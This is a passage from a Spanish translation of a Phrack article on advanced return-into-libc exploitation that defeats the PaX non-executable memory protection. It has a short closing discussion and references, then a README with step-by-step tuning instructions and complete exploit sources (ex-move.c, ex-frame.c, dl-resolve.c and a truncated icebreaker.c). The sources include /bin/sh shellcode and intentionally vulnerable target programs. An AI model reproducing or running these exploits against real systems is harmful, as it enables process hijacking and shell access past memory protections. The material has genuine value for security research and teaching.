(consultando /proc/pid/maps solo antes de que el programa atacado 'quiebre') las zonas prohibidas de la region de la memoria que es escribible mmapeada (el area de data del ejecutable) cuando el overflow ocurre. Digamos, estas son las direcciones dentro [low_addr,hi_addr]. Copiaremos la estructura de "sym" ahi. Un simple calculo nos dice que real_index debe estar dentro de [(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16], por lo que tenemos que buscar por null short dentro de [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. Habiendo encontrado un verind adaptable, comodo, tenemos que chequear adicionalmente que 1) la direccion de sym no intersectara nuestros fake frames 2) la direccion de sym no sobreescribira ninguna data interna del linker (como la entrada GOT de strcpy) 3) recuerda que el stack pointer sera movido al area de data estatica. Debe haber suficiente lugar para los stack frames asignados por los procedimientos dinamicos del linker. Entonces, es mejor (aunque no necesario) ubicar "sym" despues de nuestros fake frames. Un aviso: es mejor buscar por un comodo null short con gdb, que analizando el output "objdump -s". Lo ultimo no muestra la memoria ubicada despues de la seccion .rodata. El archivo adjunto ex-pax.c es un ejemplo de exploit contra pax.c. La unica diferencia entre vuln.c y pax.c es que la ultima copia otra variable de entorno en un buffer estatico (entonces 6.1.2 esta completo). --[ 7 - Misc ----[ 7.1 - Portabilidad Porque PaX esta dise~ado para Linux, a lo largo de este documento nos focalizamos en este SO. No obstante, las tecnicas presentadas son independientes del SO. Stack y frame pointers, convenciones de llamadas de C, especificacion ELF - todas estas definiciones son ampliamente usadas. En particular, he ejecutado exitosamente dl-resolve.c en Solaris i386 y FreeBSD. Para ser exacto, el cuarto argumento de mmap tiene que ser ajustado (pareciera como si MAP_ANON tuviera diferente valor en sistemas BSD). En el caso de estos dos SOs, el linker dinamico no caracteriza a las versiones de los simbolos, por lo que ret-into-dl es aun mas facil de alcanzar. ----[ 7.2 - Otros tipos de vulnerabilidades Todas las tecnicas presentadas estan basadas en stack buffer overflow. Todas los exploits return-into-algo cuentan con la certeza de que con un solo overflow no solamente podemos modificar %eip, sino tambien ubicar argumentos de funciones (despues de la direccion de retorno) en el tope de la pila. Consideremos otras dos grandes clases de vulnerabilidades: control de corrupcion en estructuras malloc y ataques de formato de strings. En el caso previo, podemos sobreescribir un entero arbitrario con un valor arbitrario - es muy poco para eludir la proteccion generica de PaX. En el ultimo caso, podemos generalmente alterar arbitrariamente un numero de bytes. Si podemos sobreescribir el %ebp guardado y el %eip de cualquier funcion, no podemos necesitar nada mas, pero como el stack base es randomizado, no hay forma de determinar la direccion de frame alguno. *** (Apartando del tema: el FP guardado es un puntero que puede ser usado como un argumento para %hn. Pero la exitosa exploitacion puede requerir tres funciones de retorno y preferiblemente una apropiadamente ubicacion controlada por el usuario de 64 KB de buffer.) *** Creo que es obvio que cambiando alguna entrada GOT (eso es, ganando control sobre %eip solamente) no es suficiente para evadir PaX. Sin embargo, hay un escenario exploitable que es probable que pase. Supongamos tres condiciones: 1) El binario atacado ha sido compilado con -fomit-frame-pointer 2) Hay una funcion f1, que asgina un stack buffer cuyo contenido controlamos. 3) Hay un bug de formato (o un free() mal usado) en la funcion f2, que es la llamada (posiblemente indirectamente) por f1. El codigo de ejemplo vulnerable seria: void f2(char * buf) { printf(buf); // bug de formato aqui some_libc_function(); } void f1(char * user_controlled) { char buf[1024]; buf[0] = 0; strncat(buf, user_controlled, sizeof(buf)-1); f2(buf); } Supongamos que f1() esta siendo llamada. Con la ayuda de un formato malicioso de string podemos alterar algunas entradas GOT de some_libc_function para que contenga la direccion de la siguiente pieza de codigo: addl $imm, %esp ret eso es, algun epilogo de una funcion. En este caso, cuando some_libc_function es llamado, la instruccion "addl $imm, %esp" alterara %esp. Si elegimos un epilogo con un apropiado $imm, %esp apuntara dentro de la variable "buf", cuyo contenido es controlado por el usuario. Desde este momento, la situacion se ve como en el caso de un stack buffer overflow. Podemos encadenar funciones, usar ret-into-dl etc. Otro caso: un stack buffer overflow por un solo byte. Ese overflow nullifica el byte menos significante de un frame pointer guardado. Despues de que vuelve la segunda funcion, un atacante tiene una limpia chance de ganar un total control sobre la pila, que le permite usar todas las tecnicas presentadas. ----[ 7.3 - Otras soluciones non-exec Yo estoy consciente de otras dos soluciones, que hacen todas las areas de datos no-ejecutables en Linux i386. El primero es RSX [10]. Sin embargo, esta solucion no implementa ni stack ni randomizacion de base libraries, por lo que las tecnicas descriptas en el capitulo 3 son suficientes para encadenar multiples llamadas a funcion. Algun esfuerzo adicional debe ser invertido si queremos ejecutar codigo arbitrario. En RSX, uno no tiene permitido ejecutar codigo ubicado en un area de memoria escribible, por lo que el truco mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) no funciona. Pero cualquier plano non-exec debe permitir ejecutar codigo de librerias compartidas. En el caso de RSX, es suficiente hacer mmap(...PROT_READ|PROT_EXEC) a un archivo conteniendo un shellcode. En el caso de un exploit remoto, la funcion de encadenamiento nos permite hasta incluso crear un archivo primero. La segunda solucion, kNoX [11], es muy similar a RSX. Adicionalmente, mmapea todas las librerias en las direcciones comenzando en 0x00110000 (tal como en el caso del patch de Solar). Como fue mencionado al final de 3.4, esta proteccion es tambien insuficiente. ----[ 7.4 - Mejorando planos non-exec existentes (Des)afortunadamente, no veo un camino para arreglar PaX por lo que es inmune presentar tecnicas. Claramente, el estandar ELF especifica demasiadas caracteristicas utiles para atacantes. Ciertamente, alguno de los trucos presentados pueden dejar de funcionar. Por ejemplo, es posible patchear el kernel y puede que no cumpla la flag MAP_FIXED cuando PROT_EXEC este presente. Observando esto puede no prevenir a las librerias compartidas de trabajar, mientras detiene los exploits presentes. Todavia, esto arregla solo un posible uso del encadenamiento de funciones. Por el otro lado, desplegando PaX (especialmente cuando volvio por segvguard) puede hacer la exploitacion exitosa mucho mas dificil, en algunos casos incluso imposible. Cuando (si) PaX se vuelve mas estable, sera prudente usarlo, simplemente como otra capa de defensa. ----[ 7.5 - Las versiones usadas He testeado este codigo de ejemplo con las siguientes versiones de patches: pax-linux-2.4.16.patch kNoX-2.2.20-pre6.tar.gz rsx.tar.gz for kernel 2.4.5 Puedes testear este codigo tambien en cualquier kernel vanilla 2.4.x. Debido a algunas optimizaciones, el codigo no se ejecutara en 2.2.x. ---[ 8 - Publicaciones y proyectos referenciados: [1] Aleph One el articulo en phrack 49 que todos citan. [2] Solar Designer "Getting around non-executable stack (and fix)" http://www.securityfocus.com/archive/1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470 [4] John McDonald "Defeating Solaris/SPARC Non-Executable Stack Protection" http://www.securityfocus.com/archive/1/12734 [5] Tim Newsham "non-exec stack" http://www.securityfocus.com/archive/1/58864 [6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683 [7] PaX team PaX http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl.openwall.com/misc/segvguard/ [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip [10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/ [11] Wojciech Purczynski kNoX http://cliph.linux.pl/knox [12] grugq "Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf <++> phrack-nergal/README.code !35fb8b53 Los avanzados exploits return-into-lib(c): Estudio del caso PaX Comentarios en el codigo del exploit ejemplo por Nergal Primero, tienes que preparar los programas vulnerables de ejemplo: $ gcc -o vuln.omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.c Puedes stripear los binarios si deseas. I. ex-move.c ~~~~~~~~~~~~ Al principio de ex-move.c hay definiciones para LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, constantes de FRAMES. Tienes que corregirlas. MMAP_START puede ser dejado como esta. 1) LIBC [nergal@behemoth pax]$ ldd ./vuln.omit libc.so.6 => /lib/libc.so.6 (0x4001e000) <- esta es nuestra direccion /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 2) STRCPY [nergal@behemoth pax]$ objdump -T vuln.omit vuln.omit: file format elf32-i386 DYNAMIC SYMBOL TABLE: 08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv 08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy ^ |---- esta es la direccion que buscamos 3) MMAP [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap 000db050 w DF .text 000000a0 GLIBC_2.1 mmap64 La direccion que necesitamos es 000daf10, entonces. 4) POPSTACK Tenemos que encontrar "add $imm,%esp" seguido de "ret". Debemos desensamblar vuln.omit con el comando "objdump --disassemble ./vuln.omit". Para simplificar, podemos usar [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret ...some crap -- 80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...more crap Encontramos las instrucciones movidas de esp a 0x80484be. 5) POPNUM Esta es la cantidad de bytes que fueron agregados a %esp en POPSTACK. En el ejemplo previo, fue 0x2c. 6) PLAIN_RET La direccion de una instruccion "ret". Como podemos ver en la salida del desensamblador, hay una en 0x80484c1. 7) FRAMES Ahora, la parte como. Tenemos que encontrar el valor de %esp justo antes del overflow (nuestro overflow payload estara aqui). Entonces, haremos vuln.omit dump core (como alternativa, podemos tracearlo con un debugger). Habiendo ajustado todos los #defines previos, ejecutamos ex-move con un argumento de "testeo", que pondra 0x5060708 en el %eip guardado. [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <- todo OK [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit'. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () Si en el %eip hay otro valor en vez de 0x5060708, esto significa que tenemos que alinear nuestro overflow payload. Si es necesario, al array "scratch" en "struct ov" deberia volversele a ajustar el tama~o. (gdb) info regi ... esp 0xbffffde0 0xbffffde0 ... El ultimo valor que necesitamos es 0xbffffde0. II. ex-frame.c ~~~~~~~~~~~~~~ De nuevo LIBC, STRCPY, MMAP, LEAVERET y FRAMES deben ser ajustados. LIBC, STRCPY, MMAP y FRAMES deberian estar determinados exactamente de la misma manera que en el caso de ex-move.c. LEAVERET deberia ser la direccion de una secuencia "leave; ret"; podemos buscarla con [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret Entonces, podemos usar 0x80484bd para nuestros propositos. III. dl-resolve.c ~~~~~~~~~~~~~~~~~ Tenemos que ajustar los defines STRTAB, SYMTAB, JMPREL, VERSYM y PLT_SECTION. Ya que se refieren al binario dl-resolve en si mismo, tenemos que compilarlo dos veces con las mismas opciones en el compilador. Para la primera compilacion, podemos definir con #define valores falsos. Despues, ejecutamos [nergal@behemoth pax]$ objdump -x dl-resolve En el output, vemos: [...crap...] Dynamic Section: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (!!!) SYMTAB 0x8048170 (!!!) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (!!!) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (!!!) La PLT_SECTION puede tambien ser recuperada del output de "objdump -x" [...crap...] Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE Entonces, deberiamos usar 0x080483cc para nuestros propositos. Habiendo ajustado los defines, deberias compilar dl-resolve.c de nuevo. Luego ejecutalo bajo strace. En el final, deberia haber algo como: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? Como vemos, mmap() es llamada, aunque no estuvo presente en el PLT de dl-resolve.c. Por supuesto, pude haber agregado la ejecucion del shellcode, pero esto puede complicar innecesariamente este codigo de concepto-de-prueba. IV. icebreaker.c ~~~~~~~~~~~~~~~~ Nueve #defines tienen que ser ajustados. Muchos de ellos ya fueron eplicados. Faltan dos: FRAMESINDATA y VIND. 1) FRAMESINDATA Esta es la ubicacion de una variable estatica (o malloc) donde los fake frames son copiados. En el caso de pax.c, necesitamos encontrar la direccion del array "bigbuf". Si el binario atacado no fue stripeado, puede ser facil. De otro modo, tenemos que analizar el output del desensamblador. La variable "bigbuf" esta presente en los argumentos a "strncat" en pax.x. linea 13: strncat(bigbuf, ptr, sizeof(bigbuf)-1); Entonces podemos hacer: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _no_ 0804836c objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc -- 80484e5: 68 ff 03 00 00 push $0x3ff <- 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf 80484f2: e8 75 fe ff ff call 0x804836c Entonces, la direccion de bigbuf es 0x8049ac0. 2) VIND Como fue mencionado en el articulo de phrack, tenemos que determinar los bounds [lowaddr, hiaddr], luego buscar un null short en el intervalo [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. [nergal@behemoth pax]$ gdb ./icebreaker (gdb) set args testing (gdb) r Starting program: /home/nergal/pax/./icebreaker testing Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x4ffb7d30 in ?? () <- icebreaker ejecutado pax (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x5060708 in ?? () <- pax es segfaulteado (gdb) shell [nergal@behemoth pax]$ ps ax | grep pax 1419 pts/0 T 0:00 pax [nergal@behemoth pax]$ cat /proc/1419/maps 08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr 4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4ffcd000-4ffce000 rw-p 00000000 00:00 0 4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 500f5000-500f9000 rw-p 00000000 00:00 0 bfff6000-bfff8000 rw-p fffff000 00:00 0 [nergal@behemoth pax]$ exit exit (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 0x804847b (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8 0x804867b /* so, we search for a null short in [0x804847b, 0x804867b] (gdb) printf "0x%x\n", 0x804867b-0x804847b 0x200 (gdb) x/256hx 0x804847b ... un monton de hermosos 0000 aqui... Ahora lee la seccion 6.2 en el articulo de phrack, o solo prueba una de las siguientes direcciones encontradas. <--> <++> phrack-nergal/vuln.c !a951b08a #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char buf[16]; char * ptr = getenv("LNG"); if (ptr) strcpy(buf,ptr); } <--> <++> phrack-nergal/ex-move.c !81bb65d0 /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define POPSTACK 0x80484be #define PLAIN_RET 0x80484c1 #define POPNUM 0x2c #define FRAMES 0xbffffde0 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Este es un stack frame de una funcion que toma dos argumentos */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; /* El comienzo de nuestro overflow payload. Consume el espacio del buffer y sobreescribe %eip */ struct ov { char scratch[28]; unsigned int eip; }; /* La segunda parte del payload. Cuatro funciones seran llamadas: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7 main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* Para hacer mas facil de leer al codigo, inicializamos return en "ret". Esto volvera en la direccion al principio de nuestra estructura "zero1". */ theov.eip = PLAIN_RET; } memset(&thebuf, 'Y', sizeof(thebuf)); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* la siguiente asignacion pone en "param1" la direccion del byte menos significante del campo del "offset" de la estructura "mmap_args". Este byte sera nullificado por la llamada strcpy. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Tambien el campo "start" debe ser de multiple pagina. Tenemos que nullificar su byte menos significante con una llamada strcpy. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Por suerte, los kernels 2.4.x se preocupan solo por el byte mas bajo de "prot",entonces podemos poner basura no-cero en los otros bytes. kernels 2.2.x son mas captables; en cada caso, podemos necesitar mas puesta de ceros. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Lo mismo que arriba. Cuidado, no incluir MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; /* La llamada final "strcpy" copiara la shellcode en el area fresca mmapeada en MMAP_START. Despues, no volvera mas en POPSTACK, sino en MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln.omit", "./vuln.omit", 0, env, 0); } <--> <++> phrack-nergal/pax.c !af6a33c4 #include <stdlib.h> #include <string.h> char spare[1024]; char bigbuf[1024]; int main(int argc, char ** argv) { char buf[16]; char * ptr=getenv("STR"); if (ptr) { bigbuf[0]=0; strncat(bigbuf, ptr, sizeof(bigbuf)-1); } ptr=getenv("LNG"); if (ptr) strcpy(buf, ptr); } <--> <++> phrack-nergal/ex-frame.c !a3f70c5e /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define LEAVERET 0x80484bd #define FRAMES 0xbffffe30 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Lee los comentarios en ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* de nuevo, cuidado de no incluir MAP_GROWS_DOWN aqui */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln", "./vuln", 0, env, 0); } <--> <++> phrack-nergal/dl-resolve.c !d5fc32b7 /* by Nergal */ #include <stdlib.h> #include <elf.h> #include <stdio.h> #include <string.h> #define STRTAB 0x8048240 #define SYMTAB 0x8048170 #define JMPREL 0x8048354 #define VERSYM 0x80482f8 #define PLT_SECTION "0x080483cc" void graceful_exit() { exit(123); } void doit(int offset) { int res; __asm__ volatile (" pushl $0x01011000 pushl $0xffffffff pushl $0x00000032 pushl $0x00000007 pushl $0x01011000 pushl $0xaa011000 pushl %%ebx pushl %%eax pushl $" PLT_SECTION " ret" :"=a"(res) :"0"(offset), "b"(graceful_exit) ); } /* esto debe ser global */ Elf32_Rel reloc; #define ANYTHING 0xfe #define RQSIZE 60000 int main(int argc, char **argv) { unsigned int reloc_offset; unsigned int real_index; char symbol_name[16]; int dummy_writable_int; char *tmp = malloc(RQSIZE); Elf32_Sym *sym; unsigned short *null_short = (unsigned short*) tmp; /* crear un index nulo en VERSYM */ *null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr, "mmap symbol entry is too far, increase RQSIZE\n"); exit(1); } strcpy(symbol_name, "mmap"); sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB; sym->st_value = (unsigned int) &dummy_writable_int; sym->st_size = ANYTHING; sym->st_info = ANYTHING; sym->st_other = ANYTHING & ~3; sym->st_shndx = ANYTHING; reloc_offset = (unsigned int) (&reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int; doit(reloc_offset); printf("not reached\n"); return 0; } <--> <++> phrack-nergal/icebreaker.c !19d7ec6d /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #define STRCPY 0x080483cc #define LEAVERET 0x08048359 #define FRAMESINDATA 0x08049ac0 #define STRTAB 0x8048204 #define SYMTAB 0x8048164 #define JMPREL 0x80482f4 #define VERSYM 0x80482a8 #define PLT 0x0804835c #define VIND 0x804859b #define MMAP_START 0xaa011000 char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Desafortunadamente, si mmap_string = "mmap", accidentalmente ahi aparece un "0" en nuestro payload. Por lo que cambiamos el nombre por 1 (una 'x'). */ #define NAME_ADD_OFF 1 char mmap_string[] = "xmmap"; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_plt_args { unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct my_elf_rel { unsigned int r_offset; unsigned int r_info; }; struct my_elf_sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; /* Tama~o del simbolo */ unsigned char st_info; /* Tipo de simbolo y binding */ unsigned char st_other; /* ELF spec dice: Sin significado unsigned short st_shndx; definido, 0 */ /* Seccion index */ }; struct ourbuf { struct two_arg reloc; struct two_arg zero[8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname[sizeof(mmap_string)]; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; #define PTR_TO_NULL (VIND+1) /* estas funciones preparan el frame strcpy de manera que la llamada strcpy pondra a cero un byte en "addr" */ void fix_zero(struct ourbuf *b, unsigned int addr, int idx) { b->zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero) + sizeof(struct two_arg) * (idx + 1); b->zero[idx].func = STRCPY; b->zero[idx].leave_ret = LEAVERET; b->zero[idx].param1 = addr; b->zero[idx].param2 = PTR_TO_NULL; } /* esta funcion chequea si el byte en la posicion "offset" es cero; si lo es, prepara un strcpy frame para nullificarlo; sino, prepara un strcpy frame para nullificar alguna segura, ubicacion sin uso */ void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, FRAMESINDATA + offset, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct 